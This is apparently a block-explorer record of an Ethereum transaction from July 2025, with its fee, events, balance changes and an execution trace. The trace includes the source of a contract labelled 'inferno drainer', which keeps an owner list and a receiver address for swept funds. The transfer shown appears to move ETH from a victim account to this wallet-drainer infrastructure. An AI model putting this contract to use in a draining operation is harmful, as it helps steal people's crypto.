ETH Price: $2,506.88 (+0.63%)

Transaction Decoder

Block:
22848996 at Jul-04-2025 10:59:23 PM +UTC
Transaction Fee:
0.000334454984710704 ETH $0.84
Gas Used:
148,632 Gas / 2.250221922 Gwei

Emitted Events:

59 0x00004da25f9e20b2b44484ffb554b67df1260000.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x00000000000000000000000000004da25f9e20b2b44484ffb554b67df1260000, 00000000000000000000000000000000000000000000021e19e0c9bab2400000 )

Account State Difference:

  Address   Before After State Difference Code
0x00004dA2...dF1260000 0.401698475332905249 Eth0.402112892527161272 Eth0.000414417194256023
(Titan Builder)
15.082716578316119205 Eth15.083013842316119205 Eth0.000297264
0xbA6d6f19...08850b578
0.001870376900443503 Eth
Nonce: 4
0.001121504721476776 Eth
Nonce: 6
0.000748872178966727From: 0 To: 22892026855592066050609947431602401211538835161166308139

Execution Trace

0xba6d6f19c9f0fe6ff10e7c8fd244aea08850b578.e9ae5c53( )
  • ETH 0.000414417194256023 0x00004da25f9e20b2b44484ffb554b67df1260000.8bf4eff3( )
    • StorageContract.CALL( )
    • 0x00004da25f9e20b2b44484ffb554b67df1260000.df60a6ed( )
      • 0x00004da25f9e20b2b44484ffb554b67df1260000.STATICCALL( )
        // @mr_inferno_drainer / inferno drainer
        
        pragma solidity ^0.8.6;
        
        contract StorageContract {
            address public nativeCryptoReceiver;
            address[] public owners;
        
            constructor(address defaultNativeCryptoReceiver, address firstOwner) {
                nativeCryptoReceiver = defaultNativeCryptoReceiver;
                owners.push(firstOwner);
            }
        
            modifier onlyOwner() {
                bool isOwner = false;
                for (uint256 i = 0; i < owners.length; i++) {
                    if (msg.sender == owners[i]) {
                        isOwner = true;
                        break;
                    }
                }
                require(isOwner, "Caller is not an owner");
                _;
            }
        
            function addOwner(address newOwner) public onlyOwner {
                owners.push(newOwner);
            }
        
            function getOwners() public view returns (address[] memory) {
                return owners;
            }
        
            function removeOwner(address ownerToRemove) public onlyOwner {
                uint256 index = type(uint256).max;
        
                for (uint256 i = 0; i < owners.length; i++) {
                    if (owners[i] == ownerToRemove) {
                        index = i;
                        break;
                    }
                }
        
                require(index != type(uint256).max, "Owner not found");
                require(owners.length > 1, "Cannot remove the last owner");
        
                owners[index] = owners[owners.length - 1];
                owners.pop();
            }
        
            function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
                public
                onlyOwner
            {
                nativeCryptoReceiver = newNativeCryptoReceiver;
            }
        }